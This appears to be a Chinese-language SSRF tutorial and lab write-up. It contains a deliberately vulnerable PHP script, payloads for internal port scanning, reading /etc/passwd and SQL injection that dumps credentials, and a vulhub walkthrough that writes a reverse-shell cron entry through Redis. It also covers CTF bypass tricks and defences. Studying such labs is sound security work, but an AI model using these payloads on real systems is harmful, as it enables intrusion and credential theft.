服务端请求伪造,其实就是攻击者构造恶意请求,服务端发起恶意请求,如果服务端不对用户传递的参数进行严格的过滤和限制,就可能导致服务端请求伪造
上面是百度识图,我们可以传递图片地址,百度识图向图片发起请求,如果请求是恶意的,并且没有进行过滤和验证,就可能导致服务端请求伪造
SSRF漏洞代码示例
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
SSRF漏洞原理
服务端接受客户端的url地址,并且服务端发送该URL请求
对用户输入的url过滤不严,导致任意url输入
没有对响应的结果进行响应,直接输出
SSRF危害
端口扫描
内网指纹识别
攻击内网应用
读取本地文件
SSRF利用
文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php
内网指纹识别
?url=http://127.0.0.1/phpmyadmin/readme
攻击内网web应用
?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
SSRF防御
过滤输入
限制协议,仅允许 http 或 https 协议;
限制IP,避免应用被用来获取内网数据,攻击内网;
限制端口,限制请求端口为常用端口。
过滤输出
过滤返回信息,只要不符合要求的,全部过滤;
统一错误信息,让攻击无法对内网信息进行判断。
SSRF 挖掘
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
SSRF练习
vulhub ssrf漏洞复现
拉取docker环境,拉取需要较长时间
访问http://192.168.142.151:7001/console/login/LoginForm.jsp,这是一个登录界面,但是现在不需要用这个,用这个只是测试环境是否搭建成功
根据提示,访问`http://your-ip:7001/uddiexplorer/`
burp抓包
修改访问127.0.0.1的80端口,发现不能访问
先使用dnslog看是否存在ssrf漏洞
可以看到,确实存在ssrf
首先明确一点,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),我们的目的是通过ssrf攻击内网的redis服务器,如图
ip a查看IP
先用ssrf进行内网端口扫描,
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type`。修改为一个不存在的端口,将会返回`could not connect over HTTP to server`。
172.17.0.1
172.18.0.1
172.19.0.1
172.20.0.1
访问.2,发现只有172.20.0.2,访问他的其他端口
发现redis服务开启
发送三条redis命令,将弹shell脚本写入`/etc/crontab`:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
可以看到,计划任务提权成功了,这个漏洞运用了服务端请求伪造,计划任务,还利用了CRLF,即通过换行符来执行多条命令
ctfhub
302跳转bypass
先看一下是否有ssrf漏洞,题目说flag在127.0.0.1的flag.php里,127.0.0.1不行,试了一下localhost可以
内网访问
直接访问127.0.0.1/flag.php就行
伪协议读取文件
URL伪协议有如下这些:
file:///
dict://
sftp://
ldap://
tftp://
gopher://
端口扫描
提示端口在8000到9000,使用bp的intuder模块进行扫描,得到8828端口
访问即可
URLbypass
这题主要考的是url地址解析,简单来说,就是http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。
数字IP bypass
直接访问发现被禁止,想到可以通过进制转换方式绕过
127.0.0.1进行十六进制编码0x7F000001
DNS重绑定
,dns重绑定的原理题目的附件已经给了,这里需要用一个dns重绑定的网站
rbndr.us dns rebinding service (cmpxchg8b.com)
POST请求
周末再写